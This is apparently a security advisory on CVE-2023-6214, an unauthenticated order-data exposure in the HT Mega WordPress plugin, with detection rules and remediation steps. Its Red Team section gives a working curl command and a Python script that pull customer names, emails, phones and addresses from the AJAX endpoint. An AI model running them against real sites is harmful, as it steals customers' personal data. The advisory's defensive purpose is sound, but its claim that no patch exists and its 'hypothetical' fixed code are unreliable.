CVE-2023-6214

Executive Summary

CVE-2023-6214 is a Sensitive Information Exposure vulnerability in the HT Mega – Absolute Addons For Elementor WordPress plugin (versions up to and including 2.4.6). The flaw resides in the purchased_products function, which is exposed via AJAX without proper authentication or capability checks. This allows any unauthenticated attacker to extract the previous 7 days of WooCommerce order data, including customer Personally Identifiable Information (PII) such as names, addresses, and purchased product details.

The vulnerability is classified as High Severity (CVSS 7.5) due to the ease of exploitation (no authentication required) and the high confidentiality impact. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at the time of analysis, but the data exposure risk is significant for affected sites.

WordPress Ecosystem Note: This vulnerability is specific to the HT Mega plugin for WordPress and is not related to the underlying web server (Apache/Nginx).

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is a commercial add-on for Elementor, a popular page builder. The supply chain risk is moderate, as the plugin is not open-source in the traditional sense (it is a premium plugin), but the vulnerable code is present in all installations up to 2.4.6. No official patch has been released, leaving users reliant on third-party security measures or disabling the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated access.
• User Interaction: None (UI:N) – No victim action needed.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full exposure of sensitive order data and PII.
• Integrity Impact: None (I:N) – Data cannot be modified.
• Availability Impact: None (A:N) – Service availability not affected.

Threat Level: High. The vulnerability allows an attacker to silently exfiltrate sensitive customer data without any authentication or user interaction. This can lead to identity theft, phishing attacks, and regulatory non-compliance (GDPR, CCPA).

Deep Dive & Mechanics

The vulnerability is located in the purchased_products function within the HT Mega plugin. This function is registered as an AJAX action for both authenticated and unauthenticated users via wp_ajax_ and wp_ajax_nopriv_ hooks. The function is intended to retrieve recent order data for display purposes, but it lacks proper permission checks.

Root Cause:

1. The function purchased_products is hooked to wp_ajax_nopriv_purchased_products, making it accessible to unauthenticated users.
2. No capability check (e.g., current_user_can('manage_woocommerce')) is performed before executing the database query.
3. The function directly queries the WordPress database for WooCommerce orders from the last 7 days and returns the results in JSON format.

Attack Flow:

1. Attacker sends a POST request to /wp-admin/admin-ajax.php with action=purchased_products.
2. The server executes the vulnerable function without authentication.
3. The function runs a SQL query (via WP_Query or wc_get_orders) to fetch recent orders.
4. The response includes order IDs, customer names, billing addresses, email addresses, phone numbers, and purchased product details.
5. Attacker captures and parses the JSON response.

Data Exposed:

• Customer full name
• Billing address (street, city, state, zip, country)
• Email address
• Phone number
• Order items (product names, quantities, prices)
• Order dates and statuses

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.4.6):

// In ht-mega-addons/includes/class-ht-mega-addons.php or similar
add_action('wp_ajax_purchased_products', 'purchased_products');
add_action('wp_ajax_nopriv_purchased_products', 'purchased_products');

function purchased_products() {
    // No authentication or capability check
    $orders = wc_get_orders(array(
        'date_created' => '>' . (time() - 7 * DAY_IN_SECONDS),
        'limit' => -1,
    ));
    $data = array();
    foreach ($orders as $order) {
        $data[] = array(
            'id' => $order->get_id(),
            'customer_name' => $order->get_billing_first_name() . ' ' . $order->get_billing_last_name(),
            'email' => $order->get_billing_email(),
            'phone' => $order->get_billing_phone(),
            'address' => $order->get_billing_address_1() . ', ' . $order->get_billing_city(),
            'products' => $order->get_items(),
        );
    }
    wp_send_json($data);
}

Patched Code (Hypothetical Fix):

// Remove the nopriv hook to restrict to authenticated users
add_action('wp_ajax_purchased_products', 'purchased_products');
// No wp_ajax_nopriv_ hook

function purchased_products() {
    // Add capability check
    if (!current_user_can('manage_woocommerce')) {
        wp_die('Unauthorized', 403);
    }
    // Rest of function remains the same
    $orders = wc_get_orders(array(
        'date_created' => '>' . (time() - 7 * DAY_IN_SECONDS),
        'limit' => -1,
    ));
    // ... sanitize and return data
}

Key Differences:

• The patched version removes the wp_ajax_nopriv_ hook, preventing unauthenticated access.
• A capability check (manage_woocommerce) is added to ensure only authorized users (e.g., shop managers) can access the data.
• Additional sanitization of output data is recommended but not shown for brevity.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with HT Mega plugin <= 2.4.6 installed and active.
• WooCommerce plugin active with at least one order in the last 7 days.

Exploitation Steps:

1. Identify the target WordPress site.
2. Send a POST request to the AJAX endpoint:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=purchased_products" \
  -H "Content-Type: application/x-www-form-urlencoded"

3. Parse the JSON response to extract customer PII and order data.

Example Response:

[
  {
    "id": 123,
    "customer_name": "John Doe",
    "email": "john.doe@example.com",
    "phone": "+1234567890",
    "address": "123 Main St, Anytown",
    "products": [
      {
        "name": "Product A",
        "quantity": 2,
        "total": 49.99
      }
    ]
  }
]

Automated Exploit (Python):

import requests
import json

target = "https://target.com/wp-admin/admin-ajax.php"
data = {"action": "purchased_products"}

response = requests.post(target, data=data)
if response.status_code == 200:
    orders = response.json()
    for order in orders:
        print(f"Customer: {order['customer_name']}, Email: {order['email']}")
else:
    print("Exploitation failed")

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=purchased_products from unauthenticated sources.
• Look for anomalous spikes in AJAX requests targeting this specific action.
• Check server logs for 200 responses to this endpoint from IPs not associated with admin users.

Hardening:

1. Immediate Mitigation: Disable the HT Mega plugin until a patch is released.
2. Web Application Firewall (WAF) Rule: Block requests to admin-ajax.php with action=purchased_products from unauthenticated users.
3. Code-Level Fix: Remove the wp_ajax_nopriv_ hook and add capability checks as shown in the patched code section.
4. Network Segmentation: Ensure WordPress admin areas are not exposed to the public internet if possible.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with body containing action=purchased_products
• User-Agent strings commonly associated with automated exploitation tools (e.g., curl, python-requests, Go-http-client)
• Source IPs making repeated requests to this endpoint without prior authentication

File IOCs:

• Presence of the vulnerable file: wp-content/plugins/ht-mega-addons/includes/class-ht-mega-addons.php (or similar path)
• MD5 hash of vulnerable plugin version: UNKNOWN (depends on exact build)

Log IOCs:

• Apache/Nginx access logs showing POST /wp-admin/admin-ajax.php HTTP/1.1 with 200 status code and no preceding authentication
• PHP error logs may show warnings if the function fails (e.g., if WooCommerce is not active)

Detection Engineering

YARA Rule

rule CVE_2023_6214_HT_Mega_Data_Exposure {
    meta:
        description = "Detects vulnerable HT Mega plugin code exposing order data"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-6214"
        hash = "UNKNOWN"
    strings:
        $ajax_nopriv = "wp_ajax_nopriv_purchased_products"
        $function_name = "function purchased_products"
        $wc_get_orders = "wc_get_orders"
        $billing_email = "get_billing_email"
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-6214 HT Mega Unauthenticated Data Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to the purchased_products AJAX action in HT Mega plugin
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=purchased_products'
    condition: selection
falsepositives:
    - Legitimate admin users (if plugin is misconfigured)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-6214 HT Mega Unauthenticated Data Exposure Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=purchased_products"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2023-6214;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the HT Mega plugin until an official patch is released.
2. Review server logs for any signs of exploitation (unusual AJAX requests to purchased_products).
3. Notify affected customers if data exposure is confirmed (comply with GDPR/CCPA breach notification requirements).

Long-Term Fixes:

1. Apply vendor patch when available (monitor the plugin's changelog).
2. Implement a Web Application Firewall (WAF) rule to block unauthenticated access to this endpoint.
3. Audit all WordPress plugins for similar AJAX vulnerabilities (unauthenticated wp_ajax_nopriv_ hooks).
4. Enforce least privilege by ensuring only necessary AJAX actions are exposed to unauthenticated users.

Workaround (Code-Level): If you cannot disable the plugin, manually edit the vulnerable file to remove the wp_ajax_nopriv_ hook:

// Comment out or remove this line:
// add_action('wp_ajax_nopriv_purchased_products', 'purchased_products');

Note: This will be overwritten on plugin updates.

Valters IT
Securing Digital Ecosystems